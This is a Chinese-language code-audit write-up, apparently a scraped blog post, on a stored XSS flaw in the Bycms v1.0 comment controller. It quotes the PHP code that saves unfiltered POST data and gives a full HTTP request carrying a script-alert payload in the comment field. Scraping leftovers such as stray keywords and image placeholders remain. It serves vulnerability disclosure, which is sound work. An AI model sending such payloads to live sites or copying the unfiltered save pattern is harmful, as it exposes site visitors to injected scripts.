1. 程式人生 > >[代碼審計]Bycms v1.0存儲型XSS一枚#

[代碼審計]Bycms v1.0存儲型XSS一枚#

mode input enc 正文 蘋果 功能模塊 fit esp nec

0x00 前言:

首頁本地搭建環境,我所使用的是Windows PHPstudy集成環境。使用起來非常方便。特別是審計的時候。可以任意切換PHP版本。

0x01 CMS簡介:

byCms是一套簡單,易用的內容管理系統,基於thinkphp5.0.9,包含文章,圖片,下載,視頻模型,旨在幫助開發者節約web應用後臺開發時間和精力,以最快的速度開發出高質量的web應用。包含pc端,手機端,微信端,安卓app,蘋果app,多端數據同步!
主要特性:基於tp5.0.9,可無縫升級之5.0.10,遵循PSR-2、PSR-4規範,Composer及單元測試,異常嚴謹的錯誤檢測和安全機制,詳細的日誌信息,為你的開發保駕護航;減少核心依賴,擴展更靈活、方便,支持命令行指令擴展;出色的性能和REST支持、遠程調試,更好的支持API開發;惰性加載,及路由、配置和自動加載的緩存機制;重構的數據庫、模型及關聯。

0x02 正文:

首先來看看目錄結構。

技術分享 先來打開Index.php看看。看下圖可以得知程序目錄為:application

技術分享

來看看前臺模板 技術分享   可以看到有八個控制器。每個控制器代表著一個功能模塊。 技術分享   漏洞所在處(評論功能控制器):/bycms/application/index/controller/Comment.php   漏洞所在行數:24行

  

 1 <?php
 2 namespace app\index\controller;
 3 use think\Controller;
4 use think\Db; 5 class Comment extends Home{ 6 7 8 public function add($id=""){ 9 if(!is_login()){ 10 $this->error("請先登錄"); 11 } 12 $id=input(‘doc_id‘); 13 if(!($id && is_numeric($id))){ 14 $this->error(‘ID錯誤!‘);
15 }else{ 16 $where["id"]=$id; 17 } 18 $info= Db::name(‘document‘)->where($where)->find(); 19 if(!$info){ 20 $this->error(‘文章不存在!‘); 21 } 22 if($_POST){ 23 $Comment = new \app\index\model\Comment; 24 $res=$Comment->validate(true)->allowField(true)->save($_POST); 25 if($res){ 26 Db::name(‘document‘)->where($where)->setInc("comments"); 27 $this->success("發布成功!"); 28 }else{ 29 $error=$Comment->getError()?$Comment->getError():"發布失敗!"; 30 $this->error($error); 31 } 32 } 33 }
根據上述代碼可以看到 22-27行。這一段代碼。換成中文來說的大概意思就是: 首先判斷$_POST是否有值傳入。之後在24行處的save方法內直接將$_POST寫進了數據庫。並未 做任何過濾處理。從而將代碼原型直接插入至數據庫。 POST數據包:

  POST /shenji/bycms/index.php/index/comment/add.html HTTP/1.1
  Host: 192.168.1.111
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
  Accept: */*
  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Referer: http://192.168.1.111/shenji/bycms/index.php/index/article/detail/id/93.html
  Content-Length: 57
  Cookie: PHPSESSID=j6cht7fitg6l4eoajtscmvth56
  Connection: close

  doc_id=93&content=<script>alert(‘xss‘)</script>

技術分享

PS:本著交流分享。如果有好的方法或者思路以及上文講述不正確的地方歡迎指出。謝謝!(大牛勿噴!!)

[代碼審計]Bycms v1.0存儲型XSS一枚#